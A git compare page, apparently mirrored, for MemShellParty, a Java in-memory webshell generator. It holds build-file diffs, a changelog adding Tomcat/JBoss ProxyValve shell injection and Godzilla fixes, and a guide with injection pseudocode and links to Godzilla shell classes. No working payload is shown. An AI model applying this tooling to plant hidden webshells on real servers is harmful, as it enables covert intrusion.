mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf |
@@ -6,8 +6,6 @@ on:
|
|||||||
- dev
|
- dev
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
- '**.md'
|
||||||
- '**/*.png'
|
- '**/*.png'
|
||||||
|
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
|||||||
+29
-1
@@ -5,12 +5,40 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
|
||||||
|
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复哥斯拉无法使用最新版连接
|
||||||
|
- 修复 TongWeb8 Valve 未适配
|
||||||
|
- 修复移动端 UI 输入框 placeholder 字体过大
|
||||||
|
- 修复移动端 UI 类名复制按钮超出卡片范围
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
|
||||||
|
- 合并 memshell 与 memshell-jdk8 模块,方便维护
|
||||||
|
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
|
||||||
|
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
|
||||||
|
- 简化 Shell base64 方法代码
|
||||||
|
- Gradle 更新至 8.14.2
|
||||||
|
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
|
||||||
|
Kotlin DSL
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
|
||||||
|
|
||||||
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|
||||||
- 支持 TongWeb8 内存马生成 by @ReaJason
|
- 支持 TongWeb8 内存马生成 by @ReaJason
|
||||||
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader() 为请求线程
|
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
|
||||||
|
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
|
||||||
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
||||||
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
||||||
|
|
||||||
|
|||||||
@@ -187,6 +187,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
| Filter | Filter | Listener | Listener |
|
| Filter | Filter | Listener | Listener |
|
||||||
| Listener | Listener | Valve | Valve |
|
| Listener | Listener | Valve | Valve |
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
| ContextValve - Agent | | | |
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
@@ -202,6 +203,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
| Filter | Filter | Servlet | Servlet |
|
| Filter | Filter | Servlet | Servlet |
|
||||||
| Listener | Listener | Filter | Filter |
|
| Listener | Listener | Filter | Filter |
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
| | ServletHandler - Agent (7) | | |
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 130 KiB After Width: | Height: | Size: 130 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 242 KiB After Width: | Height: | Size: 265 KiB |
@@ -1,63 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id 'org.springframework.boot' version '3.4.6'
|
|
||||||
id 'io.spring.dependency-management' version '1.1.7'
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
def runtimeJvmArgs = [
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
// For running the application
|
|
||||||
tasks.withType(JavaExec).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom annotationProcessor
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation(project(":deserialize")) {
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
|
||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
|
||||||
}
|
|
||||||
implementation 'org.apache.commons:commons-lang3:3.17.0'
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
|
||||||
compileOnly 'org.projectlombok:lombok'
|
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
|
||||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
|
||||||
annotationProcessor 'org.projectlombok:lombok'
|
|
||||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("org.springframework.boot") version "3.5.0"
|
||||||
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
compileOnly {
|
||||||
|
extendsFrom(configurations.annotationProcessor.get())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation(project(":deserialize")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||||
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
|
}
|
||||||
|
implementation("org.apache.commons:commons-lang3:3.17.0")
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||||
|
compileOnly("org.projectlombok:lombok")
|
||||||
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
annotationProcessor("org.projectlombok:lombok")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
-119
@@ -1,119 +0,0 @@
|
|||||||
import com.vanniktech.maven.publish.SonatypeHost
|
|
||||||
|
|
||||||
version = '1.9.0'
|
|
||||||
|
|
||||||
buildscript {
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
gradlePluginPortal()
|
|
||||||
}
|
|
||||||
dependencies {
|
|
||||||
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
|
|
||||||
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
allprojects {
|
|
||||||
group = 'io.github.reajason'
|
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom') {
|
|
||||||
apply(plugin: 'java')
|
|
||||||
apply(plugin: 'idea')
|
|
||||||
apply(plugin: 'jacoco')
|
|
||||||
apply(plugin: 'io.freefair.lombok')
|
|
||||||
}
|
|
||||||
|
|
||||||
apply(plugin: 'com.vanniktech.maven.publish')
|
|
||||||
|
|
||||||
mavenPublishing {
|
|
||||||
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
|
||||||
signAllPublications()
|
|
||||||
coordinates("io.github.reajason", project.name, rootProject.version as String)
|
|
||||||
|
|
||||||
pom {
|
|
||||||
name = 'MemShellParty'
|
|
||||||
description = project.description
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
inceptionYear = '2025'
|
|
||||||
licenses {
|
|
||||||
license {
|
|
||||||
name = 'MIT'
|
|
||||||
url = 'https://spdx.org/licenses/MIT.html'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
developers {
|
|
||||||
developer {
|
|
||||||
id = 'reajason'
|
|
||||||
name = 'ReaJason'
|
|
||||||
url = "https://reajason.eu.org"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
scm {
|
|
||||||
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
|
|
||||||
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
|
|
||||||
dependencies {
|
|
||||||
implementation platform(project(':memshell-party-bom'))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs += file('src')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jacocoTestReport {
|
|
||||||
reports {
|
|
||||||
xml.required = true
|
|
||||||
csv.required = true
|
|
||||||
html.required = true
|
|
||||||
}
|
|
||||||
afterEvaluate {
|
|
||||||
executionData.from fileTree(rootDir) {
|
|
||||||
include '**/build/jacoco/**/*.exec'
|
|
||||||
}
|
|
||||||
|
|
||||||
sourceDirectories = files('generator/src/main/java')
|
|
||||||
|
|
||||||
classDirectories.from(
|
|
||||||
fileTree('generator/build/classes/java/main') {
|
|
||||||
excludes = [
|
|
||||||
'com/reajason/javaweb/memshell/**/godzilla/**',
|
|
||||||
'com/reajason/javaweb/memshell/**/injector/**',
|
|
||||||
'com/reajason/javaweb/memshell/**/command/**',
|
|
||||||
'com/reajason/javaweb/config/**'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register('publishAllToMavenCentral') {
|
|
||||||
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
|
|
||||||
if (isSnapshot) {
|
|
||||||
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
} else {
|
|
||||||
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':generator:publishAndReleaseToMavenCentral'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
}
|
||||||
|
version = "1.10.0"
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenCentral") {
|
||||||
|
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
|
||||||
|
if (isSnapshot) {
|
||||||
|
dependsOn(":memshell-party-bom:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
} else {
|
||||||
|
dependsOn(":memshell-party-bom:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":memshell:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":generator:publishAndReleaseToMavenCentral")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
plugins {
|
||||||
|
`kotlin-dsl`
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.32.0")
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
import com.vanniktech.maven.publish.SonatypeHost
|
||||||
|
|
||||||
|
plugins {
|
||||||
|
id("com.vanniktech.maven.publish")
|
||||||
|
}
|
||||||
|
|
||||||
|
mavenPublishing {
|
||||||
|
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
||||||
|
signAllPublications()
|
||||||
|
coordinates(
|
||||||
|
"io.github.reajason",
|
||||||
|
project.name,
|
||||||
|
rootProject.version as String
|
||||||
|
)
|
||||||
|
|
||||||
|
pom {
|
||||||
|
name.set("MemShellParty")
|
||||||
|
description.set(project.description)
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
inceptionYear.set("2025")
|
||||||
|
licenses {
|
||||||
|
license {
|
||||||
|
name.set("MIT")
|
||||||
|
url.set("https://spdx.org/licenses/MIT.html")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
developers {
|
||||||
|
developer {
|
||||||
|
id.set("reajason")
|
||||||
|
name.set("ReaJason")
|
||||||
|
url.set("https://reajason.eu.org")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scm {
|
||||||
|
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
||||||
|
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
group = 'io.github.reajason'
|
|
||||||
description = "Java deserialize payload for MemShellParty"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":memshell-party-common")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
implementation 'com.caucho:hessian:4.0.66'
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.2'
|
|
||||||
implementation 'commons-collections:commons-collections:3.2.1'
|
|
||||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
alias(libs.plugins.lombok)
|
||||||
|
id("maven-publish-convention")
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
description = "Java deserialize payload for MemShellParty"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(platform(project(":memshell-party-bom")))
|
||||||
|
implementation(project(":memshell-party-common"))
|
||||||
|
implementation("net.bytebuddy:byte-buddy")
|
||||||
|
implementation("com.caucho:hessian:4.0.66")
|
||||||
|
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||||
|
implementation("commons-collections:commons-collections:3.2.1")
|
||||||
|
implementation("org.apache.commons:commons-collections4:4.0")
|
||||||
|
testImplementation(platform("org.junit:junit-bom"))
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -185,6 +185,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| Filter | Filter | Listener | Listener |
|
| Filter | Filter | Listener | Listener |
|
||||||
| Listener | Listener | Valve | Valve |
|
| Listener | Listener | Valve | Valve |
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
| ContextValve - Agent | | | |
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
@@ -200,6 +201,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| Filter | Filter | Servlet | Servlet |
|
| Filter | Filter | Servlet | Servlet |
|
||||||
| Listener | Listener | Filter | Filter |
|
| Listener | Listener | Filter | Filter |
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
| | ServletHandler - Agent (7) | | |
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|||||||
@@ -0,0 +1,54 @@
|
|||||||
|
## 如何使用自定义内存马功能
|
||||||
|
|
||||||
|
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
|
||||||
|
|
||||||
|
```java
|
||||||
|
Object context = getContext();
|
||||||
|
Object shell = defineClass(getShellBase64Str());
|
||||||
|
|
||||||
|
inject(context, shell);
|
||||||
|
```
|
||||||
|
|
||||||
|
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
|
||||||
|
|
||||||
|
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
|
||||||
|
|
||||||
|
### 实现参考
|
||||||
|
|
||||||
|
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||||
|
jakarta,无须重复实现。
|
||||||
|
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||||
|
方法上,因此推荐按参考实现一样使用空实现。
|
||||||
|
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||||
|
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||||
|
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||||
|
`javax.crypto.Cipher`。
|
||||||
|
|
||||||
|
| 挂载类型 | 参考实现 |
|
||||||
|
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||||
|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||||
|
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||||
|
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||||
|
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||||
|
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||||
|
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||||
|
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||||
|
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||||
|
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||||
|
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||||
|
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||||
|
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||||
|
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||||
|
|
||||||
|
